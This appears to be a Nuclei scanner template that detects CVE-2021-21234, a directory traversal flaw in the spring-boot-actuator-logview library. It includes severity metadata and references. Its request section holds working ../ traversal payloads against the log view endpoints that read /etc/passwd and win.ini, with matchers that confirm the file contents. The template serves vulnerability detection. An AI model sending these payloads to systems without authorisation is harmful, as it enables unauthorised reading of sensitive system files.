56 lines
2.4 KiB
YAML
56 lines
2.4 KiB
YAML
id: CVE-2021-21234
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info:
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name: Spring Boot Actuator Logview Directory Traversal
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author: gy741,pikpikcu
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severity: high
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description: |
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spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
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remediation: |
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Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
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reference:
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- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
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- https://github.com/cristianeph/vulnerability-actuator-log-viewer
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
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- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
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- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 7.7
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cve-id: CVE-2021-21234
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cwe-id: CWE-22
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epss-score: 0.96654
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epss-percentile: 0.99533
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cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
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metadata:
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max-request: 4
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vendor: spring-boot-actuator-logview_project
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product: spring-boot-actuator-logview
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tags: cve,cve2021,springboot,lfi,actuator
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http:
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- method: GET
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path:
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- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
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- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
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- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
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- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
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stop-at-first-match: true
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matchers-condition: or
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matchers:
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body)"
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- "status_code == 200"
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condition: and
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- type: dsl
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dsl:
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- "contains(body, 'bit app support')"
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- "contains(body, 'fonts')"
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- "contains(body, 'extensions')"
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- "status_code == 200"
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condition: and
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# digest: 4b0a00483046022100a5ece33adeb69f78ae673ec00d7b38ebc3cc5b81134a6017c1ec6836aebb7ee002210093b9986048ea987c80f22ab6f84dcb0ff429b7322a09881b5e799ffa9f070f7b:922c64590222798bb761d5b6d8e72950 |